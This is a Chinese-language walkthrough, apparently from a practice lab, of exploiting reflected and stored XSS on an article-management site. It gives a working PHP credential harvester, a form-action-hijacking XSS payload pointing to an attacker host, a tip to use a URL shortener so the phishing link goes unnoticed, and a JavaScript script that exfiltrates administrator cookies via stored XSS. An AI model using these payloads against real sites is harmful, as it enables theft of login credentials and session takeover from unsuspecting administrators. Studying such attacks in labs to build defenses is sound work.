XSS 漏洞查找
反射型 XSS
反射型 XSS 的恶意代码不会存储在远程 web 应用程序中,而是会马上被触发。进入页面,使用搜索功能,可以看到使用的是 GET 方法传参,用于搜索的参数是 keywords 和 button。
直接向 keywords 传递参数“”,由于参数被传递进入后会被直接执行,所以可以看到我们注入的脚本执行成功。
存储型 XSS
进入留言功能界面,输入 payload “”,这句代码会回显 cookie 信息。
编写完成后,完成提交。
上传成功后,进入管理员后台管理系统,可以看到一打开查看这个留言,XSS 攻击就被触发返回 cookie 信息,攻击成功。
利用 XSS 获取管理员账号
攻击思路
编写获取账号信息的 php 脚本,获取用户输入的用户名和密码,完成修改表单提交对象的攻击。攻击的步骤如下:
- 编写获取账号密码信息的 php 脚本 save.php,存放在攻击主机的网站目录下,通过 save.php 获取到的用户名和密码存放在 save.txt 中;
- 将页面中登录按钮提交表单的 action 地址改为攻击主机中 save.php 的地址;
- 使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。
生成并放置攻击脚本
首先先查看一下网页的源码,看看登录界面输入的是哪些参数,分别是 username 和 password。
编写用于接收用户名和密码的 php 文件,将用户名和密码写入文件后跳转到登录界面完成工作。
<?php
$username = $_POST['username'];
$passward = $_POST['password'];
$result = fopen("save.txt","a");
fwrite($result, $username.'+++'.$passward."\n");
fclose($result);
echo "<form style='display:none;' id='form1' name='form1' method='post' action='http://192.168.176.134/admin/login.action.php'>
<input name='username' type='text' value='".$username."'/>
<input name='password' type='text' value='".$passward."'/>
</form>
<script type='text/javascript'>function load_submit(){document.form1.submit()}load_submit();</script>";
?>
将获取用户名和密码的 php 文件放在攻击网站的目录下,此处靶场在虚拟机,将 php 文件放在主机的站点下。
修改表单提交地址
接着检查页面中登录按钮提交表单的 action 地址,改为攻击主机中 save.php 的地址。
要做到这点需要使用反射型 XSS,利用 username 参数向它注入一段 JavaScript 脚本。
?username=<script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script>
意到直接输入会乱码,以为此处将嵌入一个 input 标签,因此需要将这个标签的前后闭合。我选择使用 p 标签闭合后面的尖括号,这样 payload 脚本就准备好了。
?username="><script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script><p id="234
生成短网址
使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。
攻击测试
模拟管理员登录系统,输入用户名和密码后进行登录。
由于攻击脚本保存完用户名和密码后会重定向到登录验证界面,且可以使用 post 发送用户名和密码,所以管理员可以正常登录。
可以看到攻击脚本已经获取用户名和密码了,使用 XSS 获取成功。
利用 XSS 获取 cookie
攻击思路
在文章管理系统的留言板上发表 JavaScript 语句,用来盗取管理员的 cookie。攻击的步骤如下:
- 编写盗取 cookie 的 php 脚本 cookie.php、js 脚本 xss.js。存放在攻击主机的网站主机的根目录下,通过 cookie.php 获取到的用户名和密码存放在 cookie.txt 中。
- 在文章管理系统的留言板上发表留言内容为 javascript 语句,当管理查看时触发 js。
生成并放置攻击脚本
首先先编写保存 cookie 的 php 脚本。
<?php
$cookie = $_POST['cookie'];
$result = fopen( "getcookie.txt" , "a");fwrite($result, $cookie." \n");
fclose($result);
echo "Cookie Success ! ";
?>
然后编写获取 cookie 并发送的 JavaScript 脚本,脚本得到 cookie 之后将发送给 php 脚本进行保存。
function getCookie(){
var url= "http://192.168.9.97/cookie.php";
var data= 'cookie= '+ document.cookie;
var getck=new XMLHttpRequest();
getck.open('POST', url);
getck.setRequestHeader('content-type','application/x-www-form-urlencoded');
getck.send(data);
}
getCookie();
将这两段攻击脚本放在网站根目录下。
利用存储型 XSS 漏洞
接着提交留言,在留言板界面嵌入 JavaScript 脚本,远程包含我们放在自己站点下的获取 cookie 的脚本,包含后就会自动执行。
提交留言,系统提示留言成功。
攻击测试
管理员打开留言管理界面,什么都看不到,但是已经将 cookie 泄露出去了。
在管理员界面按 F12 查看源码,可以看到网站已经将远程包含 js 文件的操作执行了。